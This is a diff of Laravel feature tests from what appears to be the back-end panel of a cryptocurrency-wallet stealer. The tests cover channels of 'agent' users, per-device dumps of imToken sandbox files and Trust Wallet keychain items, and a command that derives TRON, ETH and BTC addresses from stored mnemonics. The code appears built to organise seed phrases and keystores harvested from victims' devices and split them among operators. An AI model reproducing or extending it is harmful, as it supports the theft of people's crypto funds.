$chA = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
|
||||
$chB = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb';
|
||||
Channel::query()->create(['channel_id' => $chA, 'user_id' => $agentA->id, 'status' => 1]);
|
||||
Channel::query()->create(['channel_id' => $chB, 'user_id' => $agentB->id, 'status' => 1]);
|
||||
|
||||
$devA = Device::query()->create(['device_id' => 'dev-ks-a', 'channel_id' => $chA]);
|
||||
$devB = Device::query()->create(['device_id' => 'dev-ks-b', 'channel_id' => $chB]);
|
||||
$rowA = WalletKeystore::query()->create([
|
||||
'device_id' => $devA->id,
|
||||
'source' => 'imToken',
|
||||
'decrypted' => 0,
|
||||
'raw_json' => ['kind' => 'sandbox', 'sandbox' => ['imtoken' => ['walletsV2.json' => base64_encode('{}')]]],
|
||||
]);
|
||||
$rowB = WalletKeystore::query()->create([
|
||||
'device_id' => $devB->id,
|
||||
'source' => 'Trust Wallet',
|
||||
'decrypted' => 0,
|
||||
'raw_json' => ['kind' => 'keychain.wallets', 'wallets' => ['trustwallet' => ['items' => []]]],
|
||||
]);
|
||||
|
||||
$this->actingAs($agentA, 'agent')
|
||||
->get(route('user.home'))
|
||||
->assertOk()
|
||||
->assertSee('钥匙串');
|
||||
|
||||
$this->actingAs($agentA, 'agent')
|
||||
->getJson(route('user.keystores.data'))
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 1)
|
||||
->assertJsonPath('data.0.device_key', 'dev-ks-a');
|
||||
|
||||
$this->actingAs($agentA, 'agent')
|
||||
->getJson(route('user.keystores.items', $rowA))
|
||||
->assertOk()
|
||||
->assertJsonPath('data.items.0.account', 'walletsV2.json');
|
||||
|
||||
$this->actingAs($agentA, 'agent')
|
||||
->getJson(route('user.keystores.items', $rowB))
|
||||
->assertForbidden();
|
||||
}
|
||||
}
|
||||
@@ -268,11 +268,40 @@ class MnemonicAddressLinkTest extends TestCase
|
||||
$this->assertNull($addr->mnemonic_id);
|
||||
|
||||
$this->artisan('coruna:link-mnemonics')
|
||||
->expectsOutputToContain('linked=1')
|
||||
->expectsOutputToContain('linked=1 discovered=0')
|
||||
->assertSuccessful();
|
||||
|
||||
$addr->refresh();
|
||||
$this->assertSame($mnemonic->id, $addr->mnemonic_id);
|
||||
$this->assertSame(0, $addr->derive_index);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function backfill_derives_index_zero_when_mnemonic_has_no_addresses(): void
|
||||
{
|
||||
$device = Device::query()->create(['device_id' => 'dev-backfill-derive']);
|
||||
$mnemonic = new WalletMnemonic([
|
||||
'device_id' => $device->id,
|
||||
'source' => 'imToken',
|
||||
]);
|
||||
$mnemonic->mnemonic = self::MNEMONIC;
|
||||
$mnemonic->save();
|
||||
|
||||
$this->artisan('coruna:link-mnemonics')
|
||||
->expectsOutputToContain('linked=0 discovered=3')
|
||||
->assertSuccessful();
|
||||
|
||||
$rows = WalletAddress::query()
|
||||
->where('mnemonic_id', $mnemonic->id)
|
||||
->orderBy('id')
|
||||
->get();
|
||||
$this->assertCount(3, $rows);
|
||||
$this->assertSame(['TRON', 'ETH', 'BTC'], $rows->pluck('chain_type')->all());
|
||||
$this->assertSame([
|
||||
self::TRON_0,
|
||||
self::ETH_0,
|
||||
'1LqBGSKuX5yYUonjxT5qGfpUsXKYYWeabA',
|
||||
], $rows->pluck('address')->all());
|
||||
$this->assertSame([0, 0, 0], $rows->pluck('derive_index')->all());
|
||||
}
|
||||
}
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user